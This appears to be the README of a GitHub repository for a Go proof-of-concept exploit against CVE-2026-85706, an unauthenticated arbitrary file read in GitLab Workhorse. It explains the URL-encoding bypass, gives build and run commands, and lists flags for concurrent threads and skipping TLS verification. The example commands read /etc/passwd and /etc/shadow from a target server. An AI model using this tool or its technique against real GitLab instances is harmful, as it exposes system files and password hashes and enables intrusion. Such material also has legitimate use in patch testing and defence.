gagaltotal/cve-2026-85706-gitlab-pocGo exploit for CVE-2026-85706, an unauthenticated arbitrary file read in GitLab CE/EE Workhorse via URL-encoding bypass, with concurrent requests and TLS skip.
GitLab CE/EE unauthenticated arbitrary file read vulnerability (CVE-2026-85706).
Affected versions:
Patched versions:
The vulnerability exists in GitLab's Workhorse component. The workhorse regex sees an encoded path, while Puma decodes it. Rails File.open(file.path) is called before authentication, and urlencoded parse interpolates invalid %-encoding into the 400 body, causing file contents to leak.
# Build the tool
go build -o CVE-2026-85706 CVE-2026-85706.go
# Run the exploit
./CVE-2026-85706 -u https://gitlab.example.com -f /etc/passwd
| Argument | Description | Default |
|---|---|---|
-u | Target URL (e.g., https://gitlab.example.com) | - |
-f | File to read (e.g., /etc/passwd) | - |
-k | Skip TLS verification | false |
-t | Number of concurrent threads | 1 |
-v | Verbose output | false |
./CVE-2026-85706 -u https://gitlab.example.com -f /etc/shadow -k
This will attempt to read the /etc/shadow file from the target GitLab instance, skipping TLS verification.